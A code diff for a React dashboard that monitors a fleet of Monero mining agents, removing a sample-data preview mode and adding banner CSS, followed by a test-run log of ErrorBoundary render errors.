const onlinePct = agents.length > 0 ? (onlineCount / agents.length) * 100 : 0;
const previewDeck = agents.length === 0 || (totalHashrate <= 0 && onlineCount === 0);
useEffect(() => {
if (previewDeck || totalHashrate <= 0) {
if (totalHashrate <= 0) {
setEstXmrDay(null);
return;
}
@@ -183,15 +185,7 @@ export default function DashboardPage() {
if (!controller.signal.aborted) setEstXmrDay(null);
});
return () => controller.abort();
}, [totalHashrate, previewDeck]);
const displayHashrate = previewDeck ? SAMPLE_FLEET_PREVIEW.hashrate : totalHashrate;
const displayAccept = previewDeck ? SAMPLE_FLEET_PREVIEW.acceptRate : acceptRate;
const displayCpu = previewDeck ? SAMPLE_FLEET_PREVIEW.avgCpu : avgCpu;
const displayMem = previewDeck ? SAMPLE_FLEET_PREVIEW.avgMem : avgMem;
const displayOnlinePct = previewDeck ? SAMPLE_FLEET_PREVIEW.onlinePct : onlinePct;
const displayOnline = previewDeck ? SAMPLE_FLEET_PREVIEW.onlineCount : onlineCount;
const displayAgentTotal = previewDeck ? SAMPLE_FLEET_PREVIEW.agentCount : agents.length;
}, [totalHashrate]);
useEffect(() => {
const now = new Date().toLocaleTimeString();
@@ -199,38 +193,21 @@ export default function DashboardPage() {
setAcceptHistory((prev) => [...prev.slice(-59), { time: now, value: acceptRate }]);
setCpuHistory((prev) => [...prev.slice(-59), { time: now, value: avgCpu }]);
setMemHistory((prev) => [...prev.slice(-59), { time: now, value: avgMem }]);
const gpuVal = totalGPUHashrate > 0 ? totalGPUHashrate : previewDeck ? 48_500_000 : 0;
if (gpuVal > 0 || previewDeck) {
setGpuHistory((prev) => [...prev.slice(-59), { time: now, value: gpuVal }]);
if (totalGPUHashrate > 0) {
setGpuHistory((prev) => [...prev.slice(-59), { time: now, value: totalGPUHashrate }]);
}
}, [totalHashrate, acceptRate, avgCpu, avgMem, totalGPUHashrate, previewDeck]);
}, [totalHashrate, acceptRate, avgCpu, avgMem, totalGPUHashrate]);
const hashChart = useMemo(
() => resolveChartSeries(hashHistory, 'hashrate', { tailValue: displayHashrate }),
[hashHistory, displayHashrate]
);
const acceptChart = useMemo(
() => resolveChartSeries(acceptHistory, 'accept', { tailValue: displayAccept }),
[acceptHistory, displayAccept]
);
const cpuChart = useMemo(
() => resolveChartSeries(cpuHistory, 'cpu', { tailValue: displayCpu }),
[cpuHistory, displayCpu]
);
const memChart = useMemo(
() => resolveChartSeries(memHistory, 'mem', { tailValue: displayMem }),
[memHistory, displayMem]
);
const gpuChart = useMemo(
() => resolveChartSeries(gpuHistory, 'gpu', { tailValue: totalGPUHashrate || 48_500_000 }),
[gpuHistory, totalGPUHashrate]
);
const hashChart = useMemo(() => resolveChartSeries(hashHistory), [hashHistory]);
const acceptChart = useMemo(() => resolveChartSeries(acceptHistory), [acceptHistory]);
const cpuChart = useMemo(() => resolveChartSeries(cpuHistory), [cpuHistory]);
const memChart = useMemo(() => resolveChartSeries(memHistory), [memHistory]);
const gpuChart = useMemo(() => resolveChartSeries(gpuHistory), [gpuHistory]);
const estUsdDay = useMemo(() => {
const price = xmrPrice ?? SAMPLE_FLEET_PREVIEW.xmrPrice;
const xmr = previewDeck ? SAMPLE_FLEET_PREVIEW.xmrPerDay : estXmrDay;
return xmr != null ? xmr * price : null;
}, [previewDeck, estXmrDay, xmrPrice]);
if (estXmrDay == null || xmrPrice == null) return null;
return estXmrDay * xmrPrice;
}, [estXmrDay, xmrPrice]);
const filteredAgents = useMemo(() => filterFleetAgents(agents, filters), [agents, filters]);
@@ -247,9 +224,8 @@ export default function DashboardPage() {
ok: s.accepted,
time: s.timestamp ? new Date(s.timestamp).toLocaleTimeString() : undefined,
}));
if (live.length > 0) return live;
return previewDeck ? SAMPLE_ACTIVITY : live;
}, [shares, previewDeck]);
return live;
}, [shares]);
const totalShareCount = agents.reduce((sum, a) => sum + a.shares_total, 0);
const alerts = fleetAlerts.length > 0 ? fleetAlerts : restAlerts;
@@ -427,12 +403,6 @@ export default function DashboardPage() {
<AuditLogStrip limit={6} />
</div>
{previewDeck && (
<p className="preview-deck-hint font-tech" role="status">
Projection mode charts validated with sample telemetry until your fleet connects
</p>
)}
<header className="deck-hero wealth-hero">
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">PERSONAL NETWORK · LIVE TELEMETRY</p>
@@ -470,7 +440,7 @@ export default function DashboardPage() {
<div className="deck-wealth-strip" aria-label="Fleet yield snapshot">
<div className="deck-wealth-pill">
<div className="dwp-label">Fleet Hash</div>
<div className="dwp-value mint">{formatHashrate(displayHashrate)}</div>
<div className="dwp-value mint">{formatHashrate(totalHashrate)}</div>
<div className="dwp-sub">15m rolling</div>
</div>
<div className="deck-wealth-pill">
@@ -478,19 +448,19 @@ export default function DashboardPage() {
<div className="dwp-value mint">
{estUsdDay != null ? `$${estUsdDay.toFixed(2)}` : '—'}
</div>
<div className="dwp-sub">{previewDeck ? 'projection' : 'from live hashrate'}</div>
<div className="dwp-sub">{totalHashrate > 0 ? 'from live hashrate' : 'no active hashing'}</div>
</div>
<div className="deck-wealth-pill">
<div className="dwp-label">Accept</div>
<div className="dwp-value">{displayAccept.toFixed(1)}%</div>
<div className="dwp-value">{acceptRate.toFixed(1)}%</div>
<div className="dwp-sub">share quality</div>
</div>
<div className="deck-wealth-pill">
<div className="dwp-label">Nodes Live</div>
<div className="dwp-value">
{displayOnline}/{displayAgentTotal}
{onlineCount}/{agents.length}
</div>
<div className="dwp-sub">{displayOnlinePct.toFixed(0)}% online</div>
<div className="dwp-sub">{onlinePct.toFixed(0)}% online</div>
</div>
</div>
@@ -514,8 +484,8 @@ export default function DashboardPage() {
<section className="gauge-row">
<NeonCard accent="cyan" className="gauge-card" hud>
<GaugeRing
value={displayHashrate}
max={Math.max(displayHashrate * 1.2, 1000)}
value={totalHashrate}
max={Math.max(totalHashrate * 1.2, 1000)}
label="Fleet Hash"
sublabel="15m avg"
color="var(--neon-cyan)"
@@ -524,21 +494,21 @@ export default function DashboardPage() {
</NeonCard>
<NeonCard accent="green" className="gauge-card" hud>
<GaugeRing
value={displayOnlinePct}
value={onlinePct}
label="Online"
sublabel={`${displayOnline}/${displayAgentTotal}`}
sublabel={`${onlineCount}/${agents.length}`}
color="var(--neon-green)"
size={110}
/>
</NeonCard>
<NeonCard accent="purple" className="gauge-card" hud>
<GaugeRing value={displayAccept} label="Accept" sublabel="share rate" color="var(--neon-purple)" size={110} />
<GaugeRing value={acceptRate} label="Accept" sublabel="share rate" color="var(--neon-purple)" size={110} />
</NeonCard>
<NeonCard accent="amber" className="gauge-card" hud>
<GaugeRing
value={displayCpu}
value={avgCpu}
label="CPU"
sublabel={`RAM ${displayMem.toFixed(0)}%`}
sublabel={`RAM ${avgMem.toFixed(0)}%`}
color="var(--neon-amber)"
size={110}
/>
@@ -548,26 +518,24 @@ export default function DashboardPage() {
<div className="grid-4 stats-grid steampunk-stats">
<NeonCard accent="cyan" className="stat-card-wrap wealth-stat">
<div className="stat-label font-tech">Total Hashrate</div>
<div className="stat-value hashrate neon-glow-cyan">{formatHashrate(displayHashrate)}</div>
<div className="stat-sub">{displayOnline} engines firing</div>
<div className="stat-value hashrate neon-glow-cyan">{formatHashrate(totalHashrate)}</div>
<div className="stat-sub">{onlineCount} engines firing</div>
</NeonCard>
{previewDeck ? (
<WealthEarningsPreview xmrPrice={xmrPrice} />
) : (
<EarningsEstimator hashrate={totalHashrate} xmrPrice={xmrPrice} />
)}
<EarningsEstimator hashrate={totalHashrate} xmrPrice={xmrPrice} />
<NeonCard accent="green" className="stat-card-wrap wealth-stat">
<div className="stat-label font-tech">Fleet Online</div>
<div className="stat-value accepted">
{displayOnline} <span className="stat-dim">/ {displayAgentTotal}</span>
{onlineCount} <span className="stat-dim">/ {agents.length}</span>
</div>
<div className="stat-sub">{displayAgentTotal - displayOnline} dormant</div>
<div className="stat-sub">{agents.length - onlineCount} dormant</div>
</NeonCard>
<NeonCard accent="purple" className="stat-card-wrap wealth-stat">
<div className="stat-label font-tech">Accept Rate</div>
<div className="stat-value neon-glow-purple">{displayAccept.toFixed(1)}%</div>
<div className="stat-value neon-glow-purple">{acceptRate.toFixed(1)}%</div>
<div className="stat-sub">
{previewDeck ? 'sample pool quality' : `${acceptedShares} valid · ${rejectedShares} rejected`}
{acceptedShares + rejectedShares > 0
? `${acceptedShares} valid · ${rejectedShares} rejected`
: 'no shares yet'}
</div>
</NeonCard>
<NeonCard accent="amber" className="stat-card-wrap">
@@ -819,9 +787,8 @@ export default function DashboardPage() {
{/* ── Analytics row — always visible ─────────────────────────────────── */}
<ContributionBars
bars={contribs.length > 0 ? contribs : previewDeck ? SAMPLE_CONTRIBUTION_BARS : []}
sample={previewDeck && contribs.length === 0}
xmrPerDay={previewDeck ? SAMPLE_FLEET_PREVIEW.xmrPerDay : undefined}
bars={contribs}
xmrPerDay={estXmrDay ?? undefined}
xmrPrice={xmrPrice}
/>
<UnderperformerList underperformers={underperformers} medianHashrate={medianHash} />
@@ -862,7 +829,7 @@ export default function DashboardPage() {
</div>
</Suspense>
{(hasGPUMining || previewDeck) && (
{hasGPUMining && (
<Suspense fallback={<ChartPlaceholder height={220} />}>
<NeonCard accent="gold" tilt3d className="chart-row" style={{ marginTop: '1rem' }}>
<HashrateChart
@@ -907,7 +874,7 @@ export default function DashboardPage() {
<span className="section-ornament"></span> Share Activity Pulse
<span className="section-line" />
</h2>
<ActivityPulse items={activityItems} sample={previewDeck && shares.length === 0} />
<ActivityPulse items={activityItems} />
</NeonCard>
<section className="section">

View File

@@ -501,6 +501,26 @@
margin-bottom: 1rem;
}
.reforge-confirm-banner {
color: var(--neon-cyan, #00e5ff);
background: rgba(0, 229, 255, 0.08);
border-color: rgba(0, 229, 255, 0.35);
}
.fusion-prep-picker.fusion-prep-highlight {
padding: 0.75rem;
border-radius: 8px;
outline: 2px solid var(--accent-red);
outline-offset: 2px;
background: rgba(239, 68, 68, 0.08);
animation: fusion-prep-pulse 1.2s ease-in-out 3;
}
@keyframes fusion-prep-pulse {
0%, 100% { outline-color: var(--accent-red); }
50% { outline-color: rgba(239, 68, 68, 0.35); }
}
.build-btn {
width: 100%;
justify-content: center;

View File

@@ -50,6 +50,18 @@ body {
padding: 2rem;
}
.session-degraded-banner {
position: sticky;
top: 0;
z-index: 200;
padding: 0.5rem 1rem;
text-align: center;
font-size: 0.85rem;
color: #fbbf24;
background: rgba(251, 191, 36, 0.12);
border-bottom: 1px solid rgba(251, 191, 36, 0.35);
}
.error-boundary-fallback {
padding: 1.5rem;
margin: 1rem 0;

View File

@@ -0,0 +1,49 @@
RUN v2.1.9 G:/crypto miner/server/web
stderr | src/components/components.test.tsx > ErrorBoundary > shows fallback UI and clears error on retry
The above error occurred in the <MaybeThrow> component:
at MaybeThrow (G:\crypto miner\server\web\src\components\components.test.tsx:261:27)
at ErrorBoundary (G:\crypto miner\server\web\src\components\ErrorBoundary.tsx:6:1)
React will try to recreate this component tree from scratch using the error boundary you provided, ErrorBoundary.
UI error: Error: render boom
at MaybeThrow (G:\crypto miner\server\web\src\components\components.test.tsx:231:27)
at renderWithHooks (G:\crypto miner\server\web\node_modules\react-dom\cjs\react-dom.development.js:15486:18)
at mountIndeterminateComponent (G:\crypto miner\server\web\node_modules\react-dom\cjs\react-dom.development.js:20103:13)
at beginWork (G:\crypto miner\server\web\node_modules\react-dom\cjs\react-dom.development.js:21626:16)
at HTMLUnknownElement.callCallback (G:\crypto miner\server\web\node_modules\react-dom\cjs\react-dom.development.js:4164:14)
at HTMLUnknownElement.#callDispatchEventListeners (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/event/EventTarget.js:218:30)
at HTMLUnknownElement.dispatchEvent (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/event/EventTarget.js:88:41)
at HTMLUnknownElement.dispatchEvent (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/nodes/element/Element.js:948:35)
at HTMLUnknownElement.#goThroughDispatchEventPhases (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/event/EventTarget.js:140:38)
at HTMLUnknownElement.dispatchEvent (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/event/EventTarget.js:85:47) {
componentStack: '\n' +
' at MaybeThrow (G:\\crypto miner\\server\\web\\src\\components\\components.test.tsx:261:27)\n' +
' at ErrorBoundary (G:\\crypto miner\\server\\web\\src\\components\\ErrorBoundary.tsx:6:1)'
}
stderr | src/components/components.test.tsx > ErrorBoundary > uses custom fallback when provided
The above error occurred in the <ThrowOnce> component:
at ThrowOnce (G:\crypto miner\server\web\src\components\components.test.tsx:120:22)
at ErrorBoundary (G:\crypto miner\server\web\src\components\ErrorBoundary.tsx:6:1)
React will try to recreate this component tree from scratch using the error boundary you provided, ErrorBoundary.
UI error: Error: render boom
at ThrowOnce (G:\crypto miner\server\web\src\components\components.test.tsx:109:26)
at renderWithHooks (G:\crypto miner\server\web\node_modules\react-dom\cjs\react-dom.development.js:15486:18)
at mountIndeterminateComponent (G:\crypto miner\server\web\node_modules\react-dom\cjs\react-dom.development.js:20103:13)
at beginWork (G:\crypto miner\server\web\node_modules\react-dom\cjs\react-dom.development.js:21626:16)
at HTMLUnknownElement.callCallback (G:\crypto miner\server\web\node_modules\react-dom\cjs\react-dom.development.js:4164:14)
at HTMLUnknownElement.#callDispatchEventListeners (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/event/EventTarget.js:218:30)
at HTMLUnknownElement.dispatchEvent (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/event/EventTarget.js:88:41)
at HTMLUnknownElement.dispatchEvent (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/nodes/element/Element.js:948:35)
at HTMLUnknownElement.#goThroughDispatchEventPhases (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/event/EventTarget.js:140:38)
at HTMLUnknownElement.dispatchEvent (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/event/EventTarget.js:85:47) {
componentStack: '\n' +
' at ThrowOnce (G:\\crypto miner\\server\\web\\src\\components\\components.test.tsx:120:22)\n' +
' at ErrorBoundary (G:\\crypto miner\\server\\web\\src\\components\\ErrorBoundary.tsx:6:1)'
}